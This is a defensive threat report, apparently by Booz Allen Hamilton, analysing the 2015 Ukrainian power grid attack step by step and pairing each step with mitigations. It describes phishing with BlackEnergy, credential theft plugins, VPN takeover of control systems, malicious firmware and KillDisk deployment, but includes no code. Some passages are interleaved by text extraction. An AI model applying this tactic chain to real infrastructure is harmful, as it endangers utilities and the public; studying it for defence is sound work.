should have restricted distribution and not be publicly available. Review publicly available information, including job announcements and new supplier agreements, to ensure they do not provide inadvertent information to a threat actor on deployed devices. STEP 11: DELIVER DATA DESTRUCTION MALWARE Threat actors likely deliver KillDisk malware to network share and set policy on domain controller to retrieve malware and execute upon system reboot. Location: Corporate and ICS network Action: Active threat actor activity Timeline: December 2015, directly preceding attack Device/application: Network share and Windows domain controller server Role in infrastructure: The network share provides access to shared digital resources, and the Windows domain controller manages access control throughout the network. Exploitation method: Threat actors likely use stolen credentials to place KillDisk malware on a network share, then set the retrieval and execution of the malicious files by implementing a policy on the compromised domain controller server.f Impact: Prescheduling execution of malware enables coordination of multiple attack components, such that data destruction coincides with or shortly follows attacks against breakers. Booz Allen s recommended mitigations: Utilize network- and host-based antivirus software to detect and prevent known malware from infecting organization systems. Regularly scan organizational machine images with YARA rules to detect malware prior to execution. Restrict and monitor network share access permissions. STEP 12: SCHEDULE UPS DISRUPTION Threat actors schedule unauthorized outage of UPS for telephone communication server and data center servers. Location: Corporate and ICS network Action: Active threat actor activity Timeline: Directly preceding December 2015 attack Device/application: Networked UPS devices with remote management interface This tactic was observed in attacks against the Ukrainian television broadcaster in October 2015. Domain controllers and KillDisk execution upon reboot, observed in the December 2015 attacks, both indicate this tactic may have been repeated against the electricity distributors. boozallen.com/ics Role in infrastructure: Prevent power outages from disrupting continuous operation of critical systems. Exploitation method: Threat actors likely use valid credentials to access privileged employee accounts, then use this access to remotely schedule unauthorized power outages. Impact: Prescheduling outages enables coordination of multiple attack components, such that critical systems also go down as a result of the power outages, stifling potential restoration efforts. Booz Allen s recommended mitigations: Isolate UPS systems, and other facility management systems, from both the ICS and corporate networks. Disable remote management services for UPS devices wherever possible. ACTION ON OBJECTIVES: EXECUTE ATTACK STEP 13: TRIP BREAKERS Threat actors use native remote access services and valid credentials to open breakers and disrupt power distribution to more than 225,000 customers within three distribution areas. Location: ICS network Action: Active threat actor activity Timeline: December 23, 2015, during Device/application: HMI workstations, DMS servers, RTU, and the substation breakers Role in infrastructure: HMI workstations provide a graphical user interface for operators to remotely monitor and control devices within the control environment. DMS applications enable centralized monitoring and issuing of commands within a control environment. Substation breakers are Booz Allen Hamilton devices designed to physically interrupt current flows through an electrical circuit. Exploitation method: Threat actors use valid credentials to seize control of operator workstations, access DMS client application via VPN, and issue unauthorized commands to breakers at substations. Impact: Opening of breakers results in disruption of electricity service to customers. Booz Allen s recommended mitigations: Disable remote access into an organization ICS network wherever possible. Require direct operator action to allow a remote user connectivity into the ICS VPN. Restrict user accounts with remote access privileges to the minimum necessary and require two-factor authentication for all VPN connections. Restrict functions of users who remotely access the control system environment wherever possible (e.g., read-only privileges). Develop and practice incident response scenarios to understand how to disrupt remote connectivity and manually operate ICS equipment to bring operations back to a safe state. STEP 14: SEVER CONNECTION TO FIELD DEVICES After opening the breakers, threat actors deliver malicious firmware update to serial-to-Ethernet communications devices. The malicious updates render the converters inoperable and sever connections between the control center and the substations. Location: ICS network Action: Active threat actor activity Timeline: December 23, 2015, during attack Device/application: Serial-to-Ethernet converters (Moxa UC 7408-LX-Plus,61 IRZRUH2 3G62) Role in infrastructure: Convert serial data from field devices to digital packets to be transmitted to remote monitoring and administration systems within the control network. Exploitation method: Threat actors use network access to push the malicious update over the network to targeted devices. Impact: Operators are unable to remotely close the breakers, requiring workers to manually close breakers at each substation. Forcing this manual response draws out recovery time. Exploitation method: Threat actors likely use automated IP-based call generators to flood the targeted call center. Impact: Automated calls overwhelm resources at call center, blocking legitimate communications from customers. Booz Allen s recommended mitigations: Establish a relationship with the telecommunications provider to aid in filtering out malicious calls during response activities. Booz Allen s recommended mitigations: Actively monitor ICS network for spikes in traffic or anomalous communications associated with firmware updates or reprogramming. Use physical means to restrict remote reprogramming and firmware updates of field devices (e.g., jumper settings, remote/run/prog switches). Implement a patch and vulnerability management plan for all computer systems, field devices, and network infrastructure equipment. Maintain offline spares of common ICS devices within an organization to aid in the restoration of compromised devices. STEP 15: TELEPHONy DENIAL-OF-SERVICE ATTACK Threat actors initiate DoS attack on telephone call center at one of the targeted distributors. Location: Corporate network g Action: Likely automated process Timeline: Dec 23, 2015, during attack Device/application: Operator telephone call center Role in infrastructure: Receive external telephone communications from customers. Public reporting did not indicate whether the call center deployed an automated system to receive calls or whether calls were answered manually by call center personnel. boozallen.com/ics STEP 16: DISABLE CRITICAL SYSTEMS VIA UPS OUTAGE STEP 17: DESTROY CRITICAL SYSTEM DATA Previously scheduled UPS outage suspends temporary battery backup power to targeted telephone communications server and data center servers. Scheduled execution of KillDisk malware erases the master boot records and deletes system log data on targeted machines across the victims corporate and ICS network. Location: Corporate and ICS network Location: Corporate network and ICS network Action: Execution of prescheduled process Action: Malware execution Timeline: December 23, 2015, during attack Timeline: December 23, 2015, during attack Device/application: Networked UPS devices with remote management interface, telephone communications server, and data center servers Device/application: RTU device (ABB RTU560 CMU-02),63 servers and workstations used by management, human resources (HR), and finance staff Role in infrastructure: Prevent power outages from disrupting continuous operation of critical systems. Exploitation method: Threat actors use network access to schedule the temporary backup power to be offline at the time of the power outages. Impact: Power loss to telephone server disrupts communications across remote sites, and disruptions at control centers inhibit ability to monitor and respond to attack against breakers. The disruption at the data center and associated system reboot trigger execution of KillDisk malware. Booz Allen s recommended mitigations: Isolate UPS systems, and other facility management systems, from both the ICS and corporate networks. Disable remote management services for UPS devices wherever possible. Booz Allen Hamilton Role in infrastructure: The RTU functions as a communication processor or data concentrator in a substation, enabling communications and data transfer between field devices in the substations and the control center.64 Servers and workstations are used by management, HR, and finance staff to conduct business administration operations. Exploitation method: Malware is retrieved from the network share and executed on networked devices according direction received via domain controller policy or local Windows Task Scheduler. Impact: Targeted systems are rendered inoperable, and critical data is destroyed. Booz Allen s recommended mitigations: Utilize network- and host-based antivirus software to detect and prevent known malware from infecting organization systems. Regularly scan organizational machine images with YARA rules to detect malware prior to execution. Develop and practice contingency plans that include backup and restoration of critical data. T O P 1 0 TA K E AWAY S What to Consider When Protecting Your OT Environment Know your environment. Identifying risk starts with the need to understand your operational environment, including the topology, network and wireless connection points, and connected devices and assets. Starting with a thorough understanding of the people, processes, and technology that comprise an operational environment provides the foundation to identifying what you need to defend. Identify the key OT processes and data that need to be protected. All processes and data are not created equal, and cybersecurity professionals often do not understand the core operations of an ICS environment. Cybersecurity professionals need to partner with plant operators to identify and understand the essential operational processes that, when disrupted, can cause significant impact on operations. By assessing and prioritizing these key processes, focused mitigation strategies can be developed to both defend and recover from cyberattacks. Understand the threats. Threats against ICS environments continue to increase, and cybercriminals see this as an opportunity to quickly monetize their trade through ransomware and other attacks. Stay informed about what s happening across the broader threat landscape, both within your industry vertical and beyond. Understand how malicious actors may compromise your environment, whether s launching phishing attacks against operators in your plant or injecting malicious code in ICS devices at some point in the supply chain. Engage in an active dialog with your security team to ensure they are on the lookout for these types of events, and be prepared to quickly respond. Segment your OT and IT environments. Like the Ukraine incident, many OT attacks originate in the enterprise environment. It is important that you understand your network boundaries and connection points. We recommend implementing network segmentation between your environment using VLANs and firewalls. Also, when necessary for ultimate protection, consider data diodes or other unidirectional technologies for one-way data transfer from sensitive environments to authorized systems. Focus on the Cyber security basics. Often, we are making it easy on cybercriminals by forgetting about the basics. Treat your OT environment like you treat the enterprise. Remember to focus on basic cyber hygiene such as (a) strong passwords (or even a password if not already protected); (b) multifactor authentication for remote access, third parties, and maintenance providers; (c) access control to protect key processes and data; and (d) the principle of least privilege for user and admin accounts. Maintain your OT security posture. We often find HMI and other connected devices in the OT environment to be outdated from a patching perspective remember, keep your patches up to date if possible. We recognize there are cases where vendors will not support their product when new patches are applied. In these cases, get creative because you re still at risk. Consider alternative controls, such as whitelisting or network-based security appliances that block access based on known vulnerabilities. boozallen.com/ics Booz Allen Hamilton Focus on proactive monitoring and detection, not just compliance. A wise person once said, Compliance solves yesterday s problem today. In today cybersecurity landscape, new vulnerabilities and threats emerge daily. We recommend instrumenting your environment with both traditional network and end-point security solutions, along with emerging real-time OT data collection sensors. We also recommend implementing an OT monitoring environment, such as Splunk, that captures and correlates events. For security operators, we recommend watching critical processes and data for firmware and configuration changes outside the proper change control process. Train your operators. Remember, people are usually the weakest link in a cybersecurity attack. Educate your team about the cyber and technology risks facing OT and ICS build awareness of the impacts these threats can have on your OT environment. Cyber criminals are actively looking to exploit ICS operations; educate staff to watch out for phishing emails and immediately report them to your cyber response team. Develop an OT incident response (IR) plan. Everyone is vulnerable to a cyberattack; it important to be prepared. We recommend creating an OT IR plan that addresses safety and plant operations stability as its primary goal. The IR plan should include key stakeholders, such Health and Safety, Legal, Compliance, and Environmental. Once developed, it s important that you socialize and prepare to execute your plan. We recommend using scenario-driven exercises for operators to understand threats and how to react to a cyber incident. Practice and drill using the IR plan and do it regularly! 10. Red Team your environment. Cybercriminals think differently from traditional network defenders. They are crafty and financially motivated. It s important to view your environment from the eyes of your adversary. We recommend engaging a professional team to assess your environment from an attacker s view. While conventional red team practices may not work in an OT environment, a skilled team that understands the delicacies of operating in this space can use offline environments and built-in redundancy to conduct these activities without affecting your operations. Once completed, you can develop a mitigation plan based on findings and periodically re-engage the red team! CONCLUSION The attack against Ukraine s electricity distributors was unparalleled in its impact and demonstrated disciplined, professional execution. It is highly likely that this attack was politically motivated and conducted by a state-backed group.h As such, these threat actors were among the most wellresourced and well-organized adversaries an organization can face. ICS operators are capable of meeting these adversaries head-on, and the tools needed to mitigate and minimize the impact of an attack such as this are readily available. WHAT COULD HAVE PREVENTED THE ATTACK FOR UKRAINE? At the time of the attack, though the Ukrainian electrical distributors had exploitable holes in their security posture, they were not without defense. The Ukrainian operators had implemented firewalls between their internal networks and had segmented their ICS environment from their corporate network.65 This segmentation should have forced attackers to search for vulnerabilities on the deployed systems, had they not already stolen valid credentials. The Ukrainian firms were also fairly well positioned to respond to the attacks; their extensive experience in manual operation of their infrastructure enabled them to get impacted systems up and running within hours of the attack, despite lacking a prepared system failure contingency plan.66 Likewise, the firms were well prepared to investigate the incident, as they had extensive logging capability implemented across their systems and firewalls.67 Despite these precautions, the attackers were ultimately successful. The biggest point of failure in the operator s security posture, which allowed attackers to interfere with the physical systems, was the enablement of remote access for their control environment and the lack of two-factor authentication.68 WHAT ABOUT THE UNITED STATES? The risks demonstrated in the attacks in Ukraine are significant for the US for several reasons. Variants of BlackEnergy malware have been identified on multiple critical infrastructure networks in the US over the past several years.69 Additionally, disruptions on the US grids would likely have a greater financial and social impact than in Ukraine. Given the right grid operating conditions and timing of a cyberattack, another Northeast Blackout or greater could occur. Restoration from such a blackout could be even longer if utilities were unable to remotely coordinate and operate key portions of their system. Though a destructive attack like the Ukrainian event has not occurred in the US energy sector, various actors conduct reconnaissance and technical collection on the sector. In fiscal year 2015, members of the US energy sector reported 46 cybersecurity incidentsi to ICS-CERT.70 ICS-CERT does not publish a breakdown of the types of incidents by sector, but it revealed that 31 percent of total incidents reported across all sectors involved successful intrusion into operators assets, a third of which included accessing control systems.71 A few disclosed examples of reconnaissance targeting the US energy sector exist, the most relevant of which is a BlackEnergy campaign active from at least 2011 to 2014,72 which the US government reportedly suspected to be Russian-government orchestrated.73 In this case, the attackers who gained access to systems did not attempt to damage, modify, or otherwise disrupt processes. An in-depth analysis of the weaponized file samples and recovered VBA scripts recovered for this report are provided in Appendix B. ICS-CERT defines an incident as the act of violating an explicit or implied security policy. Examples of such incidents include the receipt of spear-phishing email messages, attempts to gain unauthorized systems access, and the existence of malware in either corporate or operational environments. Source: https://ics-cert.us-cert.gov/Report-Incident boozallen.com/ics In the near future, the likelihood of an attack against US electrical infrastructure on the scale of the Ukraine attack is very low. Based on previous research, we conclude that several nation states have the capability to conduct similar time-consuming, strategically complex attacks, but, based their current relations with the United States, these countries lack the intent to carry out such a brazen, destructive attack against US critical infrastructure. In recent years, we have seen several government regulations and industry initiatives that have reduced the risk of such attacks. These efforts are designed and implemented to mitigate cyber risk and ultimately to protect the reliability and availability of the electrical grid. Booz Allen Hamilton That said, operators must remain vigilant as many threats do exist. Cybercriminals and other nonstate actors could use similar techniques and tactics to those in the Ukraine incident to deliver ransomware or other create other equally disruptive scenarios without attacking the grid directly. Additionally, global relations are in constant flux and a significant deterioration in relations with any of several countries could induce them to conduct a Ukraine-style attack in the US. BOOZ ALLEN SERVICE OFFERINGS Booz Allen operates at the intersection of risk and technology to deliver engineering, process, and domain-focused solutions for managing process and cybersecurity challenges in a sustainable manner. We bring the capability to work across the entire organization, from the C-Suite with business and regulatory perspectives to the plant manager and the realities of the industrial environment, to ensure business and process integrity. We have developed cuttingedge solutions to help you identify, understand, enumerate, and manage the risks in your industrial control systems (ICS) environment. ++ CyberM3 for ICS. Booz Allen s unique assessment methodology for performing risk-based reviews of your operational technology (OT) environment. We use it to understand the key risk areas in your security posture. We focus on (1) identification and prioritization of your key industrial processes, telemetry, and data (2) identification and analysis of key industrial and plant systems, (3) risk assessment of plant, facility, and field operations, and (4) discovery to create a comprehensive view of digital systems in your OT environment. The output of CyberM3 is a picture of your current OT security maturity with a roadmap and actionable mitigation plans to improve your OT security posture. ++ Dark Labs Blacklight Assessment. Our security engineers employ decades of expertise shielding the world s most critical information to provide a red team assessment of your critical infrastructure and OT environment. Our Dark Labs team develops strategies to assess your systems by deploying the same techcraft malicious hackers apply to exploit them. Through binary reverse engineering, embedded security, network analysis and operations, and data science, we assess your ICS environment across a range of industries, manufacturers, and vendors to identify critical weaknesses providing insights to preemptively secure your devices, infrastructure, and ICS systems before they re attacked. ++ Supply Chain Vendor Risk Analysis. Booz Allen provides risk-based and continuous monitoring of all aspects of the supply chain. We can work with you to define security requirements for your key technology, hardware, and software deployments; evaluate your suppliers; and embed security into your procurement process, maintenance procedures, and other aspects of your supply chain interactions to ensure that your ICS environment is not at risk. ++ ICS Security Architecture, Design, Review, and Analysis Capabilities. Booz Allen recognizes that the best way to secure your OT and ICS environment is to ensure security is embedded into the system s architecture. We provide technical leadership to architect and secure the control environment from the risks associated with cyber threats. We look at data flows, process interactions, different plant systems, and remote access and third-party access needs to create an architecture to support operational needs and protect critical assets. Our team of process and industrial systems engineers, using industry requirements and operational characteristics, will organize system components into a series of protective levels to allow secure exchange of information between systems that need it while at the same time protecting core industrial processes. boozallen.com/ics For More Information BRAD MEDAIRY Senior Vice President medairy_brad@bah.com +1-703-902-5948 SCOT T STABLES Chief Cyber Technologist stables_scott@bah.com +1-630-776-7701 MAT T THURSTON Lead Associate thurston_matthew@bah.com +1-703-216-5259 Booz Allen Hamilton ++ ICS Monitoring (Powered by Splunk). Leveraging our intelligence community work and our commercial Cyber Fusion Center offering, we help clients implement an end-to-end ICS monitoring solution that (1) instruments critical processes and data, (2) presents an operational dashboard that provides situational awareness of security and ICS-related events, (3) actively hunts for adversary and malicious activity across the OT network. Our solution can be deployed not only to detect, flag, and manage OT incidents, but also provides insights into the plant security, safety, reliability, and performance using advanced analytics. ++ Industrial Incident Response (IR). We work with clients to determine whether their OT IR strategy is sufficient to navigate a breach, developing a customized plan so you are ready to respond when a breach occurs. It covers the entire OT environment from plant manager, chief information security officer, and operators to legal, HR, and communications to clarify and test roles and procedures. If you think ve been breached, our incident response team can be on the ground within 12 hours, bringing the experience, technical expertise, and equipment to eradicate bad actors from your critical operations network and shield your organization s most valuable assets. ++ Security Programs, Training, and Awareness. We can provide the expertise to establish comprehensive training and awareness programs and to implement an overall security management framework. We provide leadership in creating and implementing end-to-end security management programs covering risk assessment, architecture and threat mitigation, and ongoing compliance and monitoring programs. As part of our training and awareness programs, we can create a training curriculum and communications plan targeted at education OT, ICS risk, and overall impact. Booz Allen s solutions are not driven by cyber for cyber s sake but are focused on protecting your core operational functions; improving safety, reliability, and process integrity; and supporting regulatory compliance. Our differentiated position allows you to become safer and more secure and able to compete in a challenging business and operational landscape. APPENDIX A: Detailed Textual Description of Attack Walk Through This section is included to provide a more detailed textual summary of each of the steps outlined in the Attack Walk Through section of the report. This includes citations for all referenced sources and discussion of the analyst assessments behind each step. RECONNAISSANCE STEP 1: RECONNAISSANCE AND INTELLIGENCE GATHERING It is currently unknown why the particular three power distribution companies were targeted, though reconnaissance and intelligence gathering were likely used by threat actors to identify targets. Threat actors may select several potential targets based on their strategic objectives, then use initial reconnaissance on these targets to narrow their focus and build their plan of attack. Reconnaissance can be conducted actively or passively. Active reconnaissance includes direct interactions with the targeted network, such as port scanning, whereas passive reconnaissance includes activities such as open-source intelligence gathering. Open-source intelligence gathering can also provide key situational information about the types of technologies deployed by potential targets, associated vulnerabilities, and possible attack vectors available to threat actors. Valuable targeting data, such as information on the type and kilo-voltage of hardware deployed at substations, specific model information on devices used in operator s control environment,75,76,77,78 and likely types of operating systems used at workstations in the control environment,79 is available on publicly accessible websites. WEAPONIZATION STEP 2: MALWARE DEVELOPMENT AND WEAPONIZATION To gain unauthorized network access, attackers may target vulnerabilities in web-facing infrastructure, or develop weaponized files to deliver to users on the network. In taking a weaponization approach, attackers modify common file types, such as .pdf or .doc files, to exploit vulnerabilities in the programs used to view and edit the specific file type. Alternatively, the attackers may use social engineering tactics to encourage targeted users to enable content such as Visual Basic (VB) macro scripts. These weaponized files can be delivered to specific individuals in an organization or sent to large numbers of users, depending the level of targeting conducted by the threat actor. Ultimately, both techniques result in installation of malware, which can be used as a means to enable remote access. 80 In the Ukraine attacks, threat actors gained access to targeted networks using weaponized Microsoft (MS) Office files, specifically Word and Excel, 81,82 by embedding BlackEnergy (BE) 3 malware in VB scripts.j The BE malware embedded in the weaponized files was also specifically modified for the attacks. Public reporting on BE3 samples gathered in 2015 indicates the attackers had added functionality to the malware to support specific, internal proxy servers in establishing command-andcontrol (CC) connections.83,84 This indicates the attackers had already gathered network infrastructure details prior to delivery of the updated malware 85 and modified the malware packages based on infrastructure at their targets. An in-depth analysis of the weaponized file samples and recovered VBA scripts recovered for this report are provided in Appendix B. boozallen.com/ics DELIVERY EXPLOITATION AND INSTALLATION STEP 3: DELIVER REMOTE ACCESS TROJAN (RAT) STEP 4: INSTALL RAT Public reporting consistently indicates that phishing was the initial delivery method, though the exact timeframe in which initial access was established is not confirmed. Ukraine s Deputy Energy Minister stated threat actors had access no less than six months prior to the attack.86 Other reporting indicates the phishing campaign began on or around March 2015 and continued through January 20, 2016.87 This March 2015 campaign used weaponized MS Office files to deliver malware via phishing attacks to many Ukrainian organizations, including the three distributors hit in the December 2015 attacks.88 The earliest phishing attacks using weaponized MS Office documents to deliver BE malware against Prykarpattyaoblenergo were observed in May 12, 2014, 89 a year and a half before the grid disruptions in December 2015. This attack also targeted a range of Ukrainian businesses,90 including all six of Ukraine s railway operators managed by Ukrzaliznytsya, the State Administration of Railway Transport of Ukraine.91 Each of these phishing attacks may have been part of a broad reconnaissance and intelligence gathering effort, and the ultimate objective of causing a destructive industrial control systems (ICS) attack may have developed later on.92 In addition, while BE was the primary malware delivered to targeted networks, other RATs, including GCat,93 Dropbear,94 and Kryptik95 were recovered in the investigation following the grid disruption in December 2015.96,k BE3 malware was embedded in malicious MS Office files, which were sent to operators in a wide-reaching phishing campaign. Upon delivery, when recipients opened the weaponized documents, they were presented with an onscreen prompt to enable the macro function for the weaponized files to execute.97 No exploit code was used to initially deliver BE onto targeted networks.98 Using permissions granted by the user when macros were enabled, the VBA script dropped the persistent malware files on disk at workstations of targeted employees.l COMMAND AND CONTROL STEP 5: ESTABLISH CC CONNECTION The primary function of BE3 malware is to establish a hook into targeted networks, enable persistent, unauthorized access, and use this access to gather intelligence on the targeted systems. The first step in this process is establishing a connection with an external CC server. After installation, the BE implant modifies in-registry Internet settings and MS Internet Explorer security settings, then uses HTTP POST requests to contact an external CC server.m Additional discussion of the alternate RATs observed on the electricity distributor networks is provided in Appendix D. By analyzing the weaponized files, the step-by-step process the BE malware executed to insert itself into targeted networks is revealed. A detailed summary of the infection routine for recovered malware samples used in the Ukraine attacks in included in Appendix B. Additional details on communication process are provided in Appendix B. Booz Allen Hamilton ACTION ON OBJECTIVES: INTERNAL RECONNAISSANCE AND LATERAL MOVEMENT STEP 6: DELIVER MALWARE PLUGINS After establishing connections to the delivered BE implant, attackers used this access to acquire employee credentials, allowing them to use existing remote access services to maintain a presence on the network.99 Specific details on how the credentials were harvested are not publicly reported, though analysis of the BE malware provides some insight into the methods threat actors may have leveraged. One of the key features of BE is its modular nature and ability to download plugins designed for many different tasks.100,n Once loaded onto a targeted system, and having established connections with the CC server, BE3 is capable of receiving a range of commands, including uninstall, load or unload plugin, update DLL, download and execute executable, download and execute a binary, or update configuration data.101 After loading any plugins, the BE3 implant communicates with them internally using remote procedure calls (RPC) over named pipes.102 The threat actors likely downloaded several plugins onto the targeted networks, following the initial infection, and used these plugins in several stages of the attack, including the harvest of user credentials. STEP 7: HARVEST CREDENTIALS Credential harvesting was likely an iterative process beginning with malware exfiltration then shifting to direct interaction with deployed systems by the attackers. Credentials can be stolen using a wide range of the methods, such as social engineering, keylogging, or targeting of specific applications, such as password managers. In the Ukraine attacks, credentials were likely collected using associated BE plugins specifically designed for this task. The plugins likely used to harvest credentials in the Ukraine attack are the PS.dll plugin, designed to harvest stored user credentials,103 SI.dll plugin, which gathers system data and stored passwords from a range of applications,104 and the KI.dll plugin, which logs keystrokes.105,o In at least one instance, attackers used their access to create additional, unauthorized domain accounts.106 Other reporting An in-depth discussion of BE capabilities for receiving and communicating with plugins, as well as the capabilities and functions of identified plugins are detailed in Appendix B and Appendix C. Additional detail on these plugins is provided in Appendix C. boozallen.com/ics indicates the attackers eventually gained access to Windows domain controllers, where they gathered credentials for the virtual private network (VPN) used by grid operators to access the control network remotely.107 In the attack against the Ukrainian media outlets,p attackers used VPN to access an administrator account then used remote desktop protocol (RDP) service from the administrators account to access the domain controller.108 It is plausible that threat actors repeated this tactic against the electricity distributors. Once the attackers had valid credentials, the attackers likely shifted away from this initial hook into the network provided by the BE implant in favor of native remote access services such as VPN.109 The benefit of shifting away from the network access provided by the malware, and establishing multiple lines of communication, is that it supports persistent access and minimizes visibility of malicious activity.110 If any one connection is discovered and removed, threat actors have redundant connections, and, by using trusted communications, threat actor activity blends in with normal traffic of authorized users.111 STEP 8: LATERAL MOVEMENT AND TARGET IDENTIFICATION ON CORPORATE NETWORK Little information is publicly available on the lateral movement and internal reconnaissance efforts, though the list of targets in the final attack indicate extensive network discovery. Targeted systems include networked uninterruptable power supply (UPS) devices, data center servers, a telephone communications server, and employee workstations.112 This movement likely involved a range of activities over a lengthy period, including gathering Booz Allen Hamilton of credentials, and identification of potential targets and services to be leveraged in the attack.113 As with the initial credential harvesting, network discovery was likely aided with dedicated BE plugins, specifically the VS.dll plugin. VS.dll scans for connected network resources, attempts to retrieve remote desktop credentials, and establishes connections to remote systems using the MS Sysinternals PsExec tool.114 In the attack against Ukrainian media outlets,q anomalous use of PsExec to enumerate and establish remote access to networked systems was logged on administrator workstations.115 Threat actors may have used this same tactic two months later against the three electricity distributors. STEP 9: LATERAL MOVEMENT AND TARGET IDENTIFICATION ON ICS NETWORK Ultimately, after gaining initial access to the corporate network and harvesting valid user credentials, the threat actors were able to navigate successfully from the corporate IT network into the control environment, hosting the human machine interface (HMI) workstations, distributed management system (DMS) servers, and networked field devices. Threat actors used valid credentials to establish at least two pathways into the control environment; these included remote administration tools to access operator workstations and VPN services to interact directly with the client application for the DMS server.116 As noted above, public reporting indicates VPN credentials for the control environment may have been recovered from Windows domain controllers.117 Access to the HMI workstations and DMS application was likely sufficient for threat actors to The original source did not explicitly mention the target in their summary of the investigation, though the blog indicated the attack was conducted on October 25, 2015, against a Ukrainian target, and used BE3 and KillDisk. The original source did not explicitly mention the target in their summary of the investigation, though the blog indicated the attack was conducted on October 25, 2015, against a Ukrainian target, and used BE3 and KillDisk. enumerate all of the networked devices. Unlike corporate networks, ICS networks often follow a hub-and-spoke orientation, with a single, centralized control point. It is unlikely the threat actors used the associated BE network discovery plugins referenced above; using active discovery methods, such as scanning, may interfere with necessary communications or cause communication cards to fail.118 Systems identified during this reconnaissance phase, and targeted in the final attack, include HMI workstations, DMS servers, control center UPS,119 serial-to-Ethernet converters, and the substation breakers.120 Though this attack was conducted remotely using valid credentials, tampering with the physical network connections to field devices, such as RJ45 or Fiber cabling, can provide another method to gain network access. A mitigation strategy to prevent malicious code or a laptop from entering the network could be something as simple as a sticky MAC program, whereby the network switch port is configured to whitelist the unique MAC address of a specific intelligent controller, and becomes disabled in the event the field device gets disconnected. Similarly, if the network includes wireless telemetry, this could also provide an entry-point for attackers. This risk can be mitigated using FIPS 140-2 or similar encryption technology. During their target selection process, threat actors likely used their network access to familiarize themselves with ICS configuration, interfaces, command processes, and other operational details of systems at each organization. Even if threat actors are familiar with the deployed devices and applications, often system configurations will be customized at individual facilities based on operator needs or preferences. Prior to the final attack, the attackers learned how to direct the DMS at each of the three companies, using the existing controls and HMI displays.121 Because this activity was likely executed on the operator network, little forensic information on this process was generated.122 ACTION ON OBJECTIVES: ATTACK PREPARATION STEP 10: DEVELOP MALICIOUS FIRMWARE This incident was the first instance where threat actors developed malicious firmware update for a specific attack.123 In conducting a firmware attack, threat actors will push an update that will either patch or completely replace the old firmware. This is often done in an unauthenticated manner without any verification that the new or updated firmware is valid. Alternatively, in some attacks threat actors have compromised vendor websites and hosted weaponized firmware to be downloaded and installed by operators.124 Typically, the system running the firmware will be rebooted for the new firmware to be fully installed and operational. At this point, anything malicious that has been added to the firmware will have a chance to execute, depending on how the code is designed; this could be immediately upon reboot, or may be based on some trigger. Samples of the malicious firmware used in the Ukraine attacks were not recovered, and specific detail on the execution process could not be derived. Well-resourced and highly organized groups may also conduct testing of malware or exploit code intended for use on targeted systems.125 Threat actors may obtain specific ICS hardware or boozallen.com/ics multiple attacks,129 but analysis of recovered samples of BE3 does not indicate any technical link between the two malware applications. KillDisk is a separate, standalone executable (.exe) file used in conjunction with BE3 during the attack. The malware was likely loaded onto targeted networks as one of the final preparations directly prior to attackers opening the breakers. Public reporting indicates that the KillDisk malware may have been set as a logic bomb when placed on targeted machines, with a specific time delay before the destructive functions of the malware executed.130 This would ensure data destruction would coincide with, or shortly follow, the attacks against breakers. software, and configure them to match the operator environment.126 Investigators assessed that it is unlikely the threat actors executed the attacks in Ukraine without some level of prior capability testing, particularly the malicious firmware updates.127 Given the apparent resources and professionalism of the group, outside observers assessed the threat actors may have used systems of their own to confirm the effectiveness of the modified firmware used in the final stages of the attack.128 STEP 11: DELIVER DATA DESTRUCTION MALWARE In addition to opening breakers, the threat actors also used a data destruction malware, known as KillDisk, at all three distributors to wreak havoc on networked machines. Threat actors have used both KillDisk and BE3 malware together in Booz Allen Hamilton The use of an internal scheduling function is unlikely; BE has an associated data destruction plugin, DSTR.dll, which includes an execution time in its configuration data, but recovered KillDisk samples did not include any such capability. In the attack against Ukrainian media outlets,r attackers placed KillDisk malware on a network share and used a compromised administrator account to access domain controller servers.131 On the domain controller servers, they scheduled a policy for every workstation to retrieve and execute the file following reboot.132 Public reporting indicates that, in the attack against electricity distributors, credentials were retrieved from compromised domain controllers133 and that UPS disruptions triggered KillDisk execution on data center servers.134 Both of these claims support the assessment that the tactic used in the media attack was also used against the electricity distributors. Attackers may have also used administrator access to remotely schedule retrieval and execution of the malware using Windows Task Scheduler on high-priority target machines.135 This method was also used in the Ukrainian media The original source did not explicitly mention the target in their summary of the investigation, though the blog indicated the attack was conducted on October 25, 2015, against a Ukrainian target, and used BE3 and Killdisk. attack as a contingency measure to ensure the data destruction attack would be successful should the domain controller server crash.136 STEP 12: SCHEDULE UPS DISRUPTION Attacks against operators UPS systems were conducted against at least two of the three affected power distributors.137 UPS outages were scheduled using remote management interfaces,138 and affected devices included an internal telephony communications server at one firm and the main data center at a second operator.139 Public reporting also indicates the UPS outages affected two of the control centers, disabling the ability of operators to monitor the control network.140 In disrupting the telephony server, the attackers severed internal communications across the firm and with workers at remote sites. In the attack against the data center, the scheduled outage was entered directly preceding the malicious interactions with the firms substation breakers, and was set to execute several hours following the attack.141 In this attack, public reporting indicates that the server reboot caused by the power disruption also triggered the disk-wiping function of the KillDisk malware, which had been loaded onto the systems.142 Some UPS network management cards support remote monitoring and control via web browser, command line interface, or SNMP, enabling reboot and scheduling of shutdowns.143 Details on the specific UPS devices deployed by each of the distributors was not found in public reporting, so the remote access services used to access the devices cannot be confirmed. In addition, while the threat actors likely used valid credentials in this attack, vulnerabilities such as cross-site scripting have been identified in some UPS management devices.144 This component of the attack is not technically complex, but it serves as an effective illustration of the level of organization exhibited in this multifaceted attack. Two of the reported UPS disruptions were essentially direct threat actor interactions with two systems, using remote access, to cause second-order effects (i.e., server backup power loss), which triggered malware execution upon reboot for one target, and mirrored the communication disruption (i.e., telephony denial of service [TDoS]) of a nearly simultaneous attack against another target. The attacks also highlight the dependencies of computer network components on peripheral systems, such as power supply, HVAC, or even physical security. Vulnerabilities in these systems may be used by threat actors as additional means of accessing or interfering with network devices. ACTION ON OBJECTIVES: EXECUTE ATTACK STEP 13: TRIP BREAKERS After months of clandestine access, reconnaissance, and preparation, the threat actors executed the final step in their attack: disrupting operation of the electrical grid itself. Using existing remote access tools similar to RDP and Radmin,145 threat actors took control of employee workstations hosting the HMI and actively issued commands to open individual breakers across the managed substations. During the attack, users sitting at the workstation could observe the commands being issued but were unable to use their mouse and keyboard to interfere with the attack.146 In some instances, the attacks also used an existing DMS client application to send commands to open breakers directly to the DMS server using their VPN access.147 The direct interactions with DMS boozallen.com/ics and employee workstations were conducted by multiple threat actors, and were all conducted within a 30-minute window148 at some point between 15:30 and 16:30 local time.149 Investigators noted that, prior to execution of the final attack, the threat actors modified passwords for some users to lock them out of the system during recovery.150 In all, the attackers opened breakers in at least 57 substations. Though complete details on the extent of the attack are not publicly available, one of the three operators, Prykarpattyaoblenergo, indicated that 27 of its substations were taken offline, resulting in complete blackouts across 103 cities and partial blackouts in an additional 186 